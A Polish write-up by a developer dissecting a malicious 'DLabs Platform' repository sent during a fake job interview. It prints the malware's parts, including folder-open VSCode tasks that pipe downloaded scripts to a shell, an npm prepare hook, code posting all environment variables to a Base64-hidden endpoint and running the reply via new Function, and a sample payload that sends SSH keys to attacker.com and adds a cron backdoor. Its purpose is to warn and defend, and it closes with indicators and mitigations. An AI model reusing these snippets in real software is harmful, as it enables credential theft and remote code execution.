Anatomia ataku na łańcuch dostaw wymierzonego w programistę

To zdarzyło się mnie. Zaczęło się od wiadomości na LinkedIn od kogoś o imieniu Kevin (profil obecnie usunięty), który proponował stanowisko Technical Lead w platformie zdecentralizowanego stakingu — budżet 6,3 mln USD, w pełni zdalnie, elastyczne godziny. Oferta była dopracowana, a sama okazja brzmiała wiarygodnie. Umówiłem rozmowę — ale gdy się zaczęła, pojawiła się na niej całkiem inna osoba. To był pierwszy sygnał ostrzegawczy. Rozmowa szybko przeszła do przeglądu ich bazy kodu. Moim pierwszym odruchem było otwarcie projektu w GitHub Codespaces — odizolowanym środowisku, w którym żaden z opisanych niżej wektorów ataku nie dotknąłby mojej maszyny. Ale repozytorium nie miało takiej opcji, więc przeszedłem do sklonowania go lokalnie.

Po sklonowaniu repozytorium atakujący wprost poprosił, żebym otworzył je w VSCode. Wtedy ta prośba wydała mi się dziwna — czemu kogokolwiek miałoby interesować, w jakim edytorze pracuję? Tak się złożyło, że używam produktów JetBrains i nie miałem zainstalowanego VSCode, więc odmówiłem. To mnie uratowało: wektor ataku przez .vscode/tasks.json (szczegóły poniżej) działa tylko w VSCode, gdzie zadania skonfigurowane z "runOn": "folderOpen" wykonują się automatycznie przy otwarciu folderu. IDE od JetBrains całkowicie ignorują .vscode/tasks.json. Atakujący kierował mnie do jedynego edytora, który uruchomiłby jego ładunek bez żadnej akcji z mojej strony.

Kiedy to nie wyszło, atakujący zmienił taktykę. Poprosił o sprawdzenie wersji Node — z pozoru niewinna prośba, która jednocześnie służyła upewnieniu się, że mam zainstalowany i gotowy Node.js. Potem zaproponował, że uruchomi npm install za mnie, prosząc o współdzielenie ekranu. Ponieważ wiem, że npm install może wykonywać hooki cyklu życia w rodzaju postinstall, a nie miałem pojęcia, co wykonają ich zależności, odmówiłem. Poprosiłem o czas na przejrzenie projektu przed kolejną rozmową — ale on naciskał, żeby zrobić to od razu, na miejscu. Odmówiłem ponownie. Po prostu się rozłączył i nigdy więcej się nie odezwał.

To typowy schemat eskalacji w socjotechnice: kiedy automatyczne wyzwalacze zawodzą (brak VSCode, brak npm install), atakujący przechodzi do ręcznego przeprowadzenia celu przez krok uruchomienia. Każda prośba osobno brzmi pomocnie i rozsądnie — sprawdzenie zgodności, pomoc z konfiguracją — ale jedynym celem jest doprowadzenie do wykonania npm install na maszynie celu, wszelkimi możliwymi sposobami. A gdy cel nie współpracuje, atakujący znika — nie ma sensu ciągnąć przedstawienia.

Byłem bardzo ciekawy, do czego właściwie zmierzali, więc poprosiłem Claude’a o analizę projektu. Ten artykuł to rozbiór tej analizy — prawdziwa złośliwa baza kodu przysłana mi „do przeglądu” podczas rozmowy. Cel atakującego: wykraść dane uwierzytelniające z mojej maszyny i uzyskać zdalne wykonanie kodu — wszystko uruchamiane samym npm install albo otwarciem projektu w VSCode.

Projekt przedstawia się jako „DLabs Platform” — platforma Web3 do gamingu, stakingu i zakładów, zbudowana na React, Node.js, Express i MongoDB. README jest dopracowane, zależności wyglądają rozsądnie, a struktura kodu wydaje się profesjonalna. Pod tą powierzchnią dwa niezależne wektory ataku współpracują, żeby skompromitować każdego programistę, który dotknie projektu.

Warstwa socjotechniczna

Atak zaczyna się, zanim wykona się jakikolwiek kod. Atakujący wysyła repozytorium do celu — zwykle pod pozorem zadania rekrutacyjnego, projektu freelancerskiego do przejrzenia albo propozycji współpracy. README wzmacnia wrażenie autentyczności:

## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start

Standardowe instrukcje. Nic niepokojącego. Projekt ma profesjonalną strukturę z katalogami src/, server/, public/, prawdziwe zależności takie jak react, express, mongoose, ethers, a nawet .gitignore. Wygląda jak dziesiątki innych startowych projektów Web3 na GitHubie.

Wektor ataku 1: automatyczne wykonanie zadań VSCode

Spójrzmy na .vscode/tasks.json.

To najbardziej podstępny wektor, bo nie wymaga od programisty uruchomienia żadnej komendy — wystarczy otworzyć folder w VSCode.

Zadanie 1: ciche npm install

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": {
    "runOn": "folderOpen"
  },
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  }
}

Gdy VSCode otwiera ten folder, uruchamia w tle npm install --silent --no-progress. Ustawienia presentation zapewniają maksymalną dyskrecję:

  • "reveal": "silent" — nie pokazuj panelu terminala
  • "echo": false — nie wypisuj uruchamianej komendy
  • "focus": false — nie przechwytuj fokusu
  • "showReuseMessage": false — wycisz komunikaty o ponownym użyciu terminala
  • "clear": true — wyczyść terminal po wykonaniu

Flagi npm --silent i --no-progress wyciszają własne komunikaty npm. To zadanie uruchamia npm install, który wyzwala hook prepare, który startuje złośliwy serwer, który wysyła dane uwierzytelniające na zewnątrz i wykonuje zdalny kod. Wszystko po cichu, w tle, podczas gdy programista czyta README.

Jak temu zapobiec

VSCode domyślnie pyta przed uruchomieniem zadań folderOpen, ale wielu programistów klika „Allow” bez czytania. Aby całkowicie wyłączyć automatyczne zadania, dodaj "task.allowAutomaticTasks": "off" do ustawień VSCode. Możesz też ustawić "security.workspace.trust.enabled": true, włączając Workspace Trust — wtedy VSCode będzie domyślnie traktować sklonowane repozytoria jako niezaufane i wyłączy automatyczne wykonywanie zadań, profile terminala oraz rozszerzenia, które przestrzeń robocza próbuje skonfigurować.

Zadanie 2: bezpośrednie pobranie ładunku shellowego

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L '...' | bash"
  },
  "linux": {
    "command": "wget -qO- '...' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L ... | cmd"
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

To zadanie pobiera i wykonuje skrypt shellowy wprost z drugiego wdrożenia atakującego na Vercelu (vscodesettings-tasks-j227.vercel.app). Rozpoznaje platformę:

  • macOS: curl -L | bash
  • Linux: wget -qO- | sh
  • Windows: curl --ssl-no-revoke -L | cmd (flaga --ssl-no-revoke omija sprawdzanie unieważnienia certyfikatów)

Sztuczka z poziomym przewijaniem

W surowym pliku tasks.json złośliwe komendy są odsunięte około 200 spacjami przed kluczem "command":

"linux": {
                                                                                          "command": "wget -qO- '...' | sh"
}

W edytorze tekstu albo narzędziu do code review klucz "command" zostaje wypchnięty daleko za prawą krawędź widocznego obszaru. Programista przewijający plik zobaczy:

"linux": {

}

Komenda wygląda na pusty obiekt. Żeby zobaczyć prawdziwy ładunek, trzeba przewinąć w poziomie — albo mieć włączone zawijanie wierszy. To znana technika obfuskacji celująca właśnie w code review w edytorach bez zawijania wierszy.

Wektor ataku 2: hook cyklu życia npm

Spójrzmy na package.json:

"scripts": {
    "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
    "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
    "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
    "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
    "prepare": "node server/server.js"
}

Skrypt prepare to wbudowany hook cyklu życia npm — uruchamia się automatycznie po zakończeniu npm install. Nie wymaga żadnej interakcji użytkownika. Programista uruchamia npm install, oczekując pobrania zależności, a npm po zakończeniu po cichu wykonuje node server/server.js.

Zauważ jednak coś jeszcze: każdy skrypt (start, build, test, eject) również zaczyna się od node server/server.js |. Operator potoku uruchamia serwer jako efekt uboczny przed właściwą komendą. Niezależnie od tego, który skrypt npm programista uruchomi, złośliwy serwer wystartuje. To obrona w głąb — z perspektywy atakującego.

Dlaczego właśnie prepare?

npm ma kilka hooków cyklu życia: preinstall, postinstall, prepare, prepublish. Wybór prepare jest wykalkulowany:

  • preinstall/postinstall to dobrze znane wektory ataku, coraz częściej wychwytywane przez narzędzia bezpieczeństwa i npm audit
  • prepare jest mniej prześwietlany — bywa używany do legalnych celów, jak budowanie TypeScriptu czy instalowanie git hooków Husky
  • Uruchamia się po zainstalowaniu zależności, co oznacza, że express, axios i inne pakiety, od których zależy złośliwy kod, są już dostępne

Krok 1: wyciek zmiennych środowiskowych

Załóżmy, że serwer wystartował — oto co dzieje się dalej. Spójrzmy na server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

Dwie niewinnie wyglądające funkcje pomocnicze. setApiKey dekoduje ciąg Base64. verify wykonuje żądanie POST. Ale spójrz na drugi argument axios.post:

{ ...process.env }

Operator rozproszenia na process.env wysyła każdą zmienną środowiskową z maszyny programisty jako treść żądania POST. Programiści rutynowo przechowują dane uwierzytelniające w zmiennych środowiskowych — tak zaprojektowano uwierzytelnianie w większości narzędzi CLI i SDK. AWS CLI czyta AWS_ACCESS_KEY_ID, SDK OpenAI czyta OPENAI_API_KEY, Stripe czyta STRIPE_SECRET_KEY i tak dalej. Oznacza to, że środowisko typowego programisty może zawierać:

  • dane uwierzytelniające AWS (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • klucze API (OpenAI, Stripe, dostawcy chmurowi)
  • ciągi połączenia do baz danych
  • sekrety sesji i klucze JWT
  • ścieżki do gniazd agenta SSH
  • PATH, HOME i inne zmienne systemowe

Nazwy funkcji są celowo przyziemne. verify brzmi, jakby walidowała klucz API. setApiKey brzmi jak setter. Przy code review wtapiają się idealnie w otaczającą logikę uwierzytelniania.

Nagłówek "x-app-request": "ip-check" to kolejne zmylenie — sugeruje, że żądanie jest rutynową walidacją IP, a nie operacją wyprowadzania danych.

Krok 2: endpoint zaobfuskowany Base64

Gdzie trafiają wykradzione dane uwierzytelniające? Spójrzmy na .env:

AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=

Dekodowanie Base64 ujawnia:

https://ip-checking-notification-j1.vercel.app/api

Atakujący hostuje swój endpoint zbierający dane na Vercelu — legalnej, zaufanej platformie hostingowej. Ma to kilka zalet:

  • Adresy URL na Vercelu nie są flagowane przez większość firewalli i narzędzi bezpieczeństwa
  • Subdomena ip-checking-notification-j1 brzmi jak nieszkodliwa usługa
  • Darmowy plan Vercela nie wymaga weryfikacji tożsamości, co utrudnia atrybucję
  • Wdrożenia na Vercelu są efemeryczne i łatwo je odtworzyć pod nowymi adresami

Kodowanie Base64 nie jest silną obfuskacją — każdy programista, który uruchomi na nim atob(), je odkoduje. Ale spełnia swoje zadanie: szybki grep po adresach URL w pliku .env nie ujawni podejrzanej domeny. Wygląda to jak klucz API, nie jak URL.

Sam plik .env jest rekwizytem

Zauważ, że .env nie znajduje się w .gitignore. .gitignore starannie wyklucza:

.env.development.local
.env.test.local
.env.production.local

Ale nie sam .env. To celowe. Plik .env jest zakomitowany do repozytorium z realistycznie wyglądającymi kluczami demonstracyjnymi:

ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890

Te fałszywe klucze służą dwóm celom:

  1. Sprawiają, że projekt wygląda wiarygodnie — prawdziwy projekt z prawdziwymi integracjami
  2. Pokazują, jakich danych uwierzytelniających projekt „potrzebuje”, normalizując obecność sekretów w środowisku

Krok 3: zdalne wykonanie kodu przez dynamiczne tworzenie funkcji

Zobaczmy teraz, jak wszystko się ze sobą łączy. Spójrzmy na server/routes/api/auth.js:

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

To najgroźniejszy element. Przeanalizujmy przebieg wykonania:

  1. setApiKey(process.env.AUTH_API) — dekoduje adres endpointu z Base64
  2. verify(decodedUrl) — wysyła POST-em wszystkie zmienne środowiskowe na serwer atakującego
  3. Serwer atakującego odpowiada kodem JavaScript w response.data
  4. new Function("require", response.data) — tworzy nową funkcję, w której treść odpowiedzi jest jej kodem źródłowym
  5. executor(require) — wykonuje tę funkcję, przekazując jej require z Node.js jako argument

Przekazując require do dynamicznie utworzonej funkcji, kod atakującego może załadować dowolny moduł Node.js: fs do dostępu do systemu plików, child_process do komend shellowych, os do informacji o systemie, net do operacji sieciowych. Atakujący ma pełny, nieograniczony dostęp do maszyny programisty.

Co serwer atakującego może odesłać

Skoro require jest dostępny, ładunek w odpowiedzi może zrobić wszystko, co potrafi Node.js:

// Odczyt kluczy SSH
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');

// Wykonywanie komend shellowych
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));

// Instalacja trwałego backdoora
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');

Konstruktor new Function() to w istocie eval() z czystszą składnią. To znany zapaszek w kodzie, ale w dużej bazie kodu z trasami Express, middleware i kontrolerami może przemknąć przez pobieżny przegląd — szczególnie owinięty w funkcje o nazwach validateApiKey i verify.

Komunikat błędu to również socjotechnika

console.log("Aborting mempool scan due to failed API verification.");

„Mempool scan” to żargon Web3. Jeśli złośliwe żądanie się nie powiedzie (np. serwer atakującego nie działa), komunikat błędu wtopi się w to, czego spodziewałbyś się po aplikacji blockchainowej. Programista widzi „failed API verification” i zakłada problem z konfiguracją, a nie atak, który się nie dokończył.

Pełny przebieg ataku

Składając wszystko razem, oto pełny przebieg ataku:

Programista dostaje link do projektu

├─ Otwiera folder w VSCode
│  │
│  ├─ Zadanie 1: ciche npm install
│  │  └─ hook prepare → startuje serwer
│  │     └─ POST process.env na serwer atakującego
│  │        └─ odebranie ładunku JS
│  │           └─ new Function()(require) → RCE
│  │
│  └─ Zadanie 2: curl/wget | bash → bezpośrednie pobranie skryptu shellowego

└─ Uruchamia npm install
   └─ hook prepare → startuje serwer (ten sam łańcuch, co powyżej)

Atakujący wbudował w atak redundancję:

  • Dwa niezależne wyzwalacze: otwarcie folderu w VSCode i npm install
  • Trzy niezależne ładunki: wyciek środowiska, dynamiczne wykonanie JS, bezpośrednie pobranie skryptu shellowego
  • Skompromitowane wszystkie skrypty npm: start, build, test i eject — każdy startuje serwer

Jeśli jeden wektor zawiedzie, pozostałe wciąż się wykonają. Jeśli endpoint atakującego na Vercelu nie działa, zmienne środowiskowe i tak zostaną przesłane. Jeśli programista nie używa VSCode, hook npm i tak się odpali.

Wskaźniki kompromitacji

Jeśli uruchomiłeś npm install albo otwierałeś ten projekt w VSCode, sprawdź:

  1. Połączenia wychodzące do domen *.vercel.app w logach sieciowych
  2. Nieznane zadania cron: crontab -l na Linuksie/macOS
  3. Nietypowe procesy: poszukaj trwale działających procesów w tle
  4. Zmodyfikowane konfiguracje shella: zmiany w .bashrc, .zshrc, .profile
  5. Nowe klucze SSH lub wpisy w authorized_keys
  6. Zainstalowane lub zmodyfikowane rozszerzenia przeglądarki

Zrotuj wszystkie dane uwierzytelniające, które w momencie wykonania znajdowały się w zmiennych środowiskowych.

Dobry instynkt: GitHub Codespaces

Przed sklonowaniem lokalnie moim pierwszym odruchem było otwarcie projektu w GitHub Codespaces — chmurowym środowisku programistycznym działającym w jednorazowym kontenerze. Byłaby to znakomita decyzja. Nawet gdyby odpaliło wszystkie pięć wektorów ataku, szkody ograniczyłyby się do maszyny wirtualnej na wyrzucenie, bez dostępu do moich prawdziwych danych uwierzytelniających, kluczy SSH ani lokalnego systemu plików.

Repozytorium nie miało jednak dostępnego przycisku Codespaces. GitHub Codespaces konfiguruje się per repozytorium — właściciel albo organizacja decyduje, czy jest włączony. Jeśli nie widzisz opcji „Code > Codespaces”, oznacza to, że właściciel repozytorium jej nie włączył (albo polityka organizacji to blokuje). W tym przypadku atakujący nie miał powodu jej włączać. To wymusiło na mnie sklonowanie projektu lokalnie — czyli dokładnie to, czego atakujący chce. Odpychanie celu od odizolowanych środowisk w stronę jego własnej maszyny jest częścią socjotechniki.

Pokazuje to ważną prawidłowość: jeśli ktoś przysyła ci projekt do przejrzenia, a ty nie możesz łatwo otworzyć go w odizolowanym środowisku w rodzaju Codespaces czy GitPoda, to samo w sobie powinno wzbudzić czujność. Uczciwi współpracownicy zwykle nie mają powodu, by utrudniać ci korzystanie z chmurowych środowisk deweloperskich.

A gdyby to działało na Deno?

Warto zapytać: czy bezpieczny domyślnie runtime taki jak Deno pomógłby w tej sytuacji? Odpowiedź brzmi: tak, i to znacząco. Deno wymaga jawnych flag uprawnień do wrażliwych operacji: --allow-env do czytania zmiennych środowiskowych, --allow-net do żądań sieciowych, --allow-read i --allow-write do dostępu do systemu plików, --allow-run do uruchamiania podprocesów. Bez tych flag runtime odmawia wykonania operacji i zgłasza błąd.

W tym ataku krok 1 (wyprowadzenie process.env) zawiódłby bez --allow-env. Wychodzący POST na endpoint atakującego na Vercelu zawiódłby bez --allow-net. A krok 3 — dynamicznie utworzona funkcja wywołująca require('fs') albo require('child_process') — zawiódłby bez --allow-read, --allow-write i --allow-run. Cały łańcuch ataku rozpada się w kilku miejscach jednocześnie.

Deno nie pomogłoby jednak przy wektorze ataku 2 (zadania VSCode). Ładunek z .vscode/tasks.json wykonuje komendy shellowe bezpośrednio — curl | bash, wget | sh — całkowicie omijając jakiekolwiek piaskownicowanie na poziomie runtime’u. A hook cyklu życia npm (skrypt prepare) to funkcja npm, nie Node.js — wykonuje jako komendę shellową to, co wskazano w package.json, więc model uprawnień Deno i tam nie ma zastosowania.

Wniosek: runtime oparty na uprawnieniach, taki jak Deno, całkowicie zneutralizowałby serwerową część łańcucha ataku, ale wektory na poziomie edytora i menedżera pakietów działają poza kontrolą runtime’u.

Wnioski i zabezpieczenia

  1. Otwieraj niezaufane projekty w GitHub Codespaces, GitPodzie albo kontenerze — a jeśli takiej opcji nie ma, zadaj sobie pytanie dlaczego
  2. Nigdy nie uruchamiaj npm install na niezaufanym kodzie bez wcześniejszego przeczytania skryptów w package.json
  3. Wyłącz automatyczne zadania VSCode: Settings > "task.allowAutomaticTasks": "off" — VSCode domyślnie pyta przed uruchomieniem zadań przy otwarciu folderu, ale wielu programistów klika „Allow” bez czytania
  4. Używaj npm install --ignore-scripts przy pierwszej instalacji niezaufanego projektu, żeby pominąć hooki cyklu życia
  5. Włącz zawijanie wierszy w edytorze, żeby wychwycić obfuskację poziomym przewijaniem
  6. Sprawdzaj katalogi .vscode/ w sklonowanych projektach — konfiguracje zadań mogą wykonywać dowolne komendy
  7. Używaj odizolowanych środowisk (kontenerów, maszyn wirtualnych albo osobnych instancji WSL) przy przeglądaniu niezaufanego kodu
  8. Szukaj new Function(), eval() i importów child_process w projektach Node.js — w niektórych kontekstach są uzasadnione, ale stanowią częste prymitywy ataków
  9. Podchodź z podejrzliwością do wartości w Base64 w plikach konfiguracyjnych — odkoduj je przed uruchomieniem projektu